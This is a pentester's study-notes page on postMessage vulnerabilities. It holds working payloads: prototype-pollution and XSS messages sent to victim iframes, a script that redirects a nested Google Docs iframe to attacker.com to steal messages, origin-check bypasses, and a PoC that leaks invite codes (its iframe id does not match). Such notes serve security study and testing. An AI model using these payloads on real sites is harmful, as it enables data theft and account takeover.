Security Notes
  • Whoami
  • Pentesting
    • WEP-Pen
      • Reconnaissance
      • Enumeration
      • OWSAP TOP 10
        • Injection
          • Cross Site Scripting
            • Cross Site Scripting
            • Exploitation
            • Protections
          • SQL Injection
            • SQL Injection Overview
          • NoSQL Injection
          • CRLF Injection
          • XML Injection
        • Broken Access Control
          • Path Traversal
          • Sensitive Cookie with Improper SameSite Attribute
          • Link Following
          • Incorrect Default Permissions
          • Information disclosure
          • CSRF
            • csrf checklist
          • 403 bypass
          • Exposure of WSDL File Containing Sensitive Information
          • bussiness logic checklist
          • 2FA bypass checklist
          • admin panal checklist
          • idor checklist
          • Authentication checklist
          • reset_password_checklist
          • ATO
        • Cryptographic Failures
          • Cryptographic Failure
          • Weak Encoding for Password
          • Improper Following of a Certificate's Chain of Trust
            • Understanding Digital Certificates : Self-Signed and CA-Signed Certificate **
            • Transport Layer Security (TLS) and SSL **
          • Clear Text Transmission Of Sensitive Data
            • SSLStripping **
        • Insecure Design
        • Security Misconfiguration
          • CORS Miscofigration
          • Mail Server Misconfiguration
        • Vulnerable and Outdated Components
          • Using Components with Known Vulnerabilities
        • Identification and Authentication Failures
          • JWT Hacking
          • SAML Authentication bypass
        • Software and Data Integrity Failures
          • mass assignment
          • PostMessage Vulnerabilities
            • PostMessage Vulnerabilities
            • Blocking main page to steal postmessage
            • Bypassing SOP with Iframes - part 1
            • Bypassing SOP with Iframes - part 2
            • Steal postmessage modifying iframe location
        • Security Logging and Monitoring Failures
        • Server-Side Request Forgery (SSRF)
          • SSRF
      • Checklists
        • aem misconfiguration
        • exif_geo
        • xss
        • Session Management
        • Authorization
        • cookie
        • Django
        • Symfony
        • json
        • bypass rate limit
        • Rce
        • Register Page
      • eWPTXv2 Preparation
        • Encoding & Filtering
        • Evasion Basics
        • Cross-site scripting (XSS)
        • XSS Filter Evasion
        • Cross-site request forgery (CSRF
        • HTML5
      • API-Pen
        • API Discovry
        • Reverse Engineering API Documentation
        • Excessive Data Exposure
        • Vulnerability Scanning
        • API Authentication Attacks
          • Classic Authentication Attacks
          • API Token Attacks
        • API Authorization Attacks
          • Broken Object Level Authorization (BOLA)
          • Broken Function Level Authorization
        • Improper Assets Management
        • Mass Assignment
        • SSRF
        • Injection Attacks in API
        • Evasive Maneuvers
        • GraphQL Vulnerabilities
    • NET-Pen
      • Active Directory Pentesting
        • Active Directory Components
        • Initial Attack Vectors
          • LLMNR Poisoning
          • SMB Relay Attacks
          • IPv6 Attacks ( IPv6 DNS Takeover )
          • Printer Hacking
          • Methodology
          • Some Other Attacks
            • Zerologon (CVE-2020-1472)
            • PrintNightmare (CVE-2021-1675)
        • Post-Compromise Attacks
          • Pass Attacks
          • Kerberoasting Attack
          • Token Impersonation Attack
          • LNK File Attack
          • GPP / cPassword Attacks
          • Mimikatz
          • Methodology
        • We've Compromised the Domain
          • Dumping the NTDS.dit
          • Golden Ticket Attacks
          • Methodology
        • Case Study
        • Password Attacks
      • Attack Vectors by Port
        • FTP 21
        • SSH 22
        • Telnet 23 - 2323
        • SMTP 25
        • DNS 53
        • Kerberos 88
        • POP 110-995
        • RPC 111
        • Ident 113
        • NNTP 119
        • NetBIOS 137-138
        • SMB / Samba 135-139, 445
        • MSRPC 135
        • SNMP 161
        • LDAP 389,636
        • Modbus 502
        • OpenSSL 1337
        • Ms-SQL 1433
        • Oracle Listener 1521 1522 1529
        • NFS 2049
        • MySql 3306
        • RDP 3389
        • ADB Android Debug Bridge 5555
        • WinRM 5985 5986
        • VNC 5800 5900
        • Redis 6379
        • Unreal IRC 6667
        • Tomcat 8080
        • MongoDB 27017
        • http 80
      • Network basics
      • Information Gathering
      • Privilege Escalation
        • Windows Privilege Escalation
        • Linux Privilege Escalation
    • write-ups
      • How i found a Privilege Escalation via Impersonation Features feature
      • How I was able to discover ATO Via IDOR vulnerability
      • Easy full Account Takeover via Facebook OAuth Misconfiguration
Powered by GitBook
On this page
  • Send PostMessage
  • addEventListener exploitation
  • References
  1. Pentesting
  2. WEP-Pen
  3. OWSAP TOP 10
  4. Software and Data Integrity Failures
  5. PostMessage Vulnerabilities

PostMessage Vulnerabilities

Send PostMessage

PostMessage uses the following function to send a message:

targetWindow.postMessage(message, targetOrigin, [transfer]);

# postMessage to current page
window.postMessage('{"__proto__":{"isAdmin":True}}', '*')

# postMessage to an iframe with id "idframe"
<iframe id="idframe" src="http://victim.com/"></iframe>
document.getElementById('idframe').contentWindow.postMessage('{"__proto__":{"isAdmin":True}}', '*')

# postMessage to an iframe via onload
<iframe src="https://victim.com/" onload="this.contentWindow.postMessage('<script>print()</script>','*')">

# postMessage to popup
win = open('URL', 'hack', 'width=800,height=300,top=500');
win.postMessage('{"__proto__":{"isAdmin":True}}', '*')

# postMessage to an URL
window.postMessage('{"__proto__":{"isAdmin":True}}', 'https://company.com')

# postMessage to iframe inside popup
win = open('URL-with-iframe-inside', 'hack', 'width=800,height=300,top=500');
## loop until win.length == 1 (until the iframe is loaded)
win[0].postMessage('{"__proto__":{"isAdmin":True}}', '*')

Note that targetOrigin can be a '*' or an URL like https://company.com. In the second scenario, the message can only be sent to that domain (even if the origin of the window object is different). If the wildcard is used, messages could be sent to any domain, and will be sent to the origin of the Window object.

Attacking iframe & wildcard in targetOrigin

<html>
   <iframe src="https://docs.google.com/document/ID" />
   <script>
      setTimeout(exp, 6000); //Wait 6s
      
      //Try to change the origin of the iframe each 100ms
      function exp(){
          setInterval(function(){ 
              window.frames[0].frame[0][2].location="https://attacker.com/exploit.html";
          }, 100);
      }
   </script>

addEventListener exploitation

addEventListener is the function used by JS to declare the function that is expecting postMessages. A code similar to the following one will be used:

window.addEventListener("message", (event) => {
  if (event.origin !== "http://example.org:8080")
    return;

  // ...
}, false);

Note in this case how the first thing that the code is doing is checking the origin. This is terribly important mainly if the page is going to do anything sensitive with the received information (like changing a password). If it doesn't check the origin, attackers can make victims send arbitrary data to this endpoints and change the victims passwords (in this example).

Enumeration

In order to find event listeners in the current page you can:

  • Search the JS code for window.addEventListener and $(window).on (JQuery version)

  • Execute in the developer tools console: getEventListeners(window)

  • Go to Elements --> Event Listeners in the developer tools of the browser

Origin check bypasses

  • event.isTrusted attribute is considered secure as it returns True only for events that are generated by genuine user actions. Though it's challenging to bypass if implemented correctly, its significance in security checks is notable.

  • The use of indexOf() for origin validation in PostMessage events may be susceptible to bypassing. An example illustrating this vulnerability is:

    ("https://app-sj17.marketo.com").indexOf("https://app-sj17.ma")
  • The search() method from String.prototype.search() is intended for regular expressions, not strings. Passing anything other than a regexp leads to implicit conversion to regex, making the method potentially insecure. This is because in regex, a dot (.) acts as a wildcard, allowing for bypassing of validation with specially crafted domains. For instance:

    "https://www.safedomain.com".search("www.s.fedomain.com")
  • The match() function, similar to search(), processes regex. If the regex is improperly structured, it might be prone to bypassing.

  • The escapeHtml function is intended to sanitize inputs by escaping characters. However, it does not create a new escaped object but overwrites the properties of the existing object. This behavior can be exploited. Particularly, if an object can be manipulated such that its controlled property does not acknowledge hasOwnProperty, the escapeHtml won't perform as expected. This is demonstrated in the examples below:

    • Expected Failure:

      result = u({
        message: "'\"<b>\\"
      });
      result.message // "&#39;&quot;&lt;b&gt;\"
    • Bypassing the escape:

      result = u(new Error("'\"<b>\\"));
      result.message; // "'"<b>\"

    In the context of this vulnerability, the File object is notably exploitable due to its read-only name property. This property, when used in templates, is not sanitized by the escapeHtml function, leading to potential security risks.

  • The document.domain property in JavaScript can be set by a script to shorten the domain, allowing for more relaxed same-origin policy enforcement within the same parent domain.

e.origin == window.origin bypass

When embedding a web page within a sandboxed iframe using %%%%%%, it's crucial to understand that the iframe's origin will be set to null. This is particularly important when dealing with sandbox attributes and their implications on security and functionality.

By specifying allow-popups in the sandbox attribute, any popup window opened from within the iframe inherits the sandbox restrictions of its parent. This means that unless the allow-popups-to-escape-sandbox attribute is also included, the popup window's origin is similarly set to null, aligning with the iframe's origin.

Consequently, when a popup is opened under these conditions and a message is sent from the iframe to the popup using postMessage, both the sending and receiving ends have their origins set to null. This situation leads to a scenario where e.origin == window.origin evaluates to true (null == null), because both the iframe and the popup share the same origin value of null.

For more information read:

Bypassing e.source

It's possible to check if the message came from the same window the script is listening in (specially interesting for Content Scripts from browser extensions to check if the message was sent from the same page):

// If it’s not, return immediately.
if( received_message.source !== window ) {
    return;
}

You can force e.source of a message to be null by creating an iframe that sends the postMessage and is immediately deleted.

For more information read:

X-Frame-Header bypass

In order to perform these attacks ideally you will be able to put the victim web page inside an iframe. But some headers like X-Frame-Header can prevent that behaviour. In those scenarios you can still use a less stealthy attack. You can open a new tab to the vulnerable web application and communicate with it:

<script>
var w=window.open("<url>")
setTimeout(function(){w.postMessage('text here','*');}, 2000);
</script>

Stealing message sent to child by blocking the main page

In the following page you can see how you could steal a sensitive postmessage data sent to a child iframe by blocking the main page before sending the data and abusing a XSS in the child to leak the data before it's received:

Stealing message by modifying iframe location

If you can iframe a webpage without X-Frame-Header that contains another iframe, you can change the location of that child iframe, so if it's receiving a postmessage sent using a wildcard, an attacker could change that iframe origin to a page controlled by him and steal the message:

postMessage to Prototype Pollution and/or XSS

In scenarios where the data sent through postMessage is executed by JS, you can iframe the page and exploit the prototype pollution/XSS sending the exploit via postMessage.

Example of an exploit to abuse Prototype Pollution and then XSS through a postMessage to an iframe:

<html>
<body>
    <iframe id="idframe" src="http://127.0.0.1:21501/snippets/demo-3/embed"></iframe>
    <script>
        function get_code() {
            document.getElementById('iframe_victim').contentWindow.postMessage('{"__proto__":{"editedbymod":{"username":"<img src=x onerror=\\\"fetch(\'http://127.0.0.1:21501/api/invitecodes\', {credentials: \'same-origin\'}).then(response => response.json()).then(data => {alert(data[\'result\'][0][\'code\']);})\\\" />"}}}','*');
            document.getElementById('iframe_victim').contentWindow.postMessage(JSON.stringify("refresh"), '*');
        }

        setTimeout(get_code, 2000);
    </script>
</body>
</html>

For more information:

  • Link to page about prototype pollution

  • Link to page about XSS

  • Link to page about client side prototype pollution to XSS

References

PreviousPostMessage VulnerabilitiesNextBlocking main page to steal postmessage

Last updated 6 months ago

As explained in if you find a page that can be iframed (no X-Frame-Header protection) and that is sending sensitive message via postMessage using a wildcard (*), you can modify the origin of the iframe and leak the sensitive message to a domain controlled by you. Note that if the page can be iframed but the targetOrigin is set to a URL and not to a wildcard, this trick won't work.

Use a browser extension like or . This browser extensions will intercept all the messages and show them to you.

A couple of very good explained XSS though postMessage can be found in

To practice:

this report
https://github.com/benso-io/posta
https://github.com/fransr/postMessage-tracker
https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html
https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html
https://dev.to/karanbamal/how-to-spot-and-exploit-postmessage-vulnerablities-36cd
https://github.com/yavolo/eventlistener-xss-recon